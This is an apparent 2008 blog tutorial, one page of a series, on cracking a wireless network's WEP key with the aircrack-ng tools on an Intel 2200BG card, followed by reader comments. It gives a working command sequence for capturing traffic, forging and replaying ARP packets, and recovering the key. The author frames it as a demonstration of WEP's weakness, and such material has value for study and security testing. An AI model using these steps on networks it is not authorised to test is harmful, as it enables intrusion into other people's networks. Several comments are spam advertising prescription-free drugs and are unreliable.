INCLUDE_DATA

Cracking WEP using Intel® PRO/Wireless 2200BG

Written by Tshepho Koboyatshwene on September 22, 2008 – 2:12 am -

Configuring the wireless Card

9a. Install the ipw2200 module into the kernel (assuming the network card that you have is an Intel based card) by issuing the following command in the current directory

[rmmod ipw2200] <Enter>                         #disables the card
[modprobe ipw2200 rtap_iface=1] <Enter>         #configure the card to sniff traffic

Note. You will need the MAC address(BSSID) and the name of the wireless Access Point(ESSID) and the Channel number of your target wireless network.

To get these just issue the following commands in the terminal

[airodump eth1]
This will list all the available wireless networks around together with their BSSID, ESSID and Channels as shown in see p6.jpg

p6.jpg

p6.jpg

9b. Enable the wireless card and configure its wireless settings to those shown in the following command

[ifconfig eth1 up] <Enter>
[iwconfig eth1 essid <ESSID> key s:fakekey mode managed]

where fakekey is any string of your choice.

Time to “Attack”

  1. Now start collecting wireless traffic on the interface and store the captured packates in a file, I stored mine in dump
    [airodump-ng --bssid <BSSID> -w dump rtap0]
  2. Now for the actual injection open a new terminal like you did previously and type in the following command. For the following command, you will need the
    MAC address of your network card, you can get it by typing

    [aireplay-ng -4 -a <BSSID> -h <MAC> -i rtap0 eth1]

  3. A prompt will ask you to use “this” packet. Type “y” and the attack should continue. Once it finishes you will have a plaintext (.cap) file and a keystream(.xor) file.
    The keystream file will look something like “replay_dec-######.xor”
  4. When the command is completed, if you get a message that says”Warning : ICV Checksum verification FAILED“, run the previous command again until you get a SUCCESS message(see p9.jpg)

    p9.jpg

    p9.jpg

  5. The previous command will have created a couple of files with names replay_dec-####.xor(.cap) Now we will create an arp-request packet using the acquired keysteam file.
    The “-l” and “-k” options are the source IP and destination IP. They can be any valid IP in your network. The destination can be the gateway (router IP) but the attack run faster if it is an arbitrary IP.

    [packetforge-ng -0 -a <AP MAC> -h <MAC> -k 192.168.1.100 -l 192.168.1.101 -y replay_dec-####.xor -w arp-request]

Now for the break-in


Finally we will send ou newly created arp-request packet over and over. After this step you should see the “Data” begin to rise quickly back in the first terminal (airodump).
If the data doesn’t change (usually between 80 and 350 per second) then something is wrong.(p10.jpg)

p10.jpg

p10.jpg

[aireplay-ng -2 -r arp-request eth1]

15. Let aireplay run for a few minutes while you collect data. After 75,000(p11.jpg) or so data packaets you can run aircrack in a new terminal.

aircrack-ng -z dump*.cap

This will give you the WEP key in couple of minutes as shown in the figure below :

Given how easy it is to crack WEP security, it is amazing that some people still use it, I just hope you are not one of them.

Share and Enjoy: These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • del.icio.us
  • StumbleUpon
  • Reddit
  • Webnews
  • MisterWong
  • Y!GG
  • Facebook
  • Google Bookmarks
  • Slashdot
  • Technorati

Continue to .. Page 1 Page 2 Page 3


Tags: , , , ,
Posted in wireless security |
16 Comments to “Cracking WEP using Intel® PRO/Wireless 2200BG”
  1. me Says:

    it werkz

  2. Bob Frost Says:

    Photoshopped. lol

  3. steven Says:

    sadly my router only supports wep :( nice guide someone posted it on SU but i already knew how to do this but non the less nice guide :)

  4. Tshepho Koboyatshwene Says:

    Bob, lol@photoshoped; I had to, otherwise the screenshots will look clumsy [ but i did not photoshop the results though]

    “sorry” to hear that Steven, I guess a new router should be in the cards then ;-)

    Thanks for your comments guys, even “me”; glad that it works for you

  5. Eric Says:

    I had luck with auditor which I believe is an earlier version of backtrack. I have not tried backtrack but can only image it has more improved features.

  6. Vic Says:

    Hey it is on Linux? or that software looks like that?

  7. Tshepho Koboyatshwene Says:

    Vic, yeah it’s Linux, I was using Backtrack which is Linux distribution with lots of security goodies. You can burn it onto a cd and boot straight from the live disc without having to install it onto the hard drive.

  8. Vic Says:

    So wouldn’t work on Windows? Any windows version?

  9. rsfeller Says:

    OK, so you hacked my WEP wirless G, now what? How do you get to my domain, workgroup or secured shares?

    Or does the real desire here assume that most don’t secure their shares? Hell, if that is the case most home users don’t know how to share a folder, period!

  10. Joachim Nonong Says:

    U are a genius in the making. But hey, dont you thing you are empowering those who new nothing about this?

  11. Tshepho Koboyatshwene Says:

    Hello rsfeller and Joachim, the intention was not to hack into other people’s personnel networks. It was meant to show the flaws or security of WEP.

  12. xecomezave Says:

    xecomezave…

    Horny Spainish Flies

  13. Frankie Says:

    How are you?! Please e-mail me your contacts. I have a question james@infansport.ru” rel=”nofollow”>……

    Best regards….

  14. Frankie Says:

    Привет!! carlos@onlylcd.ru” rel=”nofollow”>……

    С уважением,…

  15. Konstantin Says:

    Добрый вечер! mason@sportbul.ru” rel=”nofollow”>……

    С уважением,…

  16. RUSSELL Says:


    MedicamentSpot.com. Canadian Health&Care.Best quality drugs.No prescription online pharmacy.Special Internet Prices. High quality drugs. Order drugs online

    Buy:Valtrex.Zovirax.Actos.Accutane.Nexium.Synthroid.Lumigan.Arimidex.Mega Hoodia.Prevacid.Human Growth Hormone.100% Pure Okinawan Coral Calcium.Retin-A.Zyban.Petcam (Metacam) Oral Suspension.Prednisolone….

Leave a Comment

RSS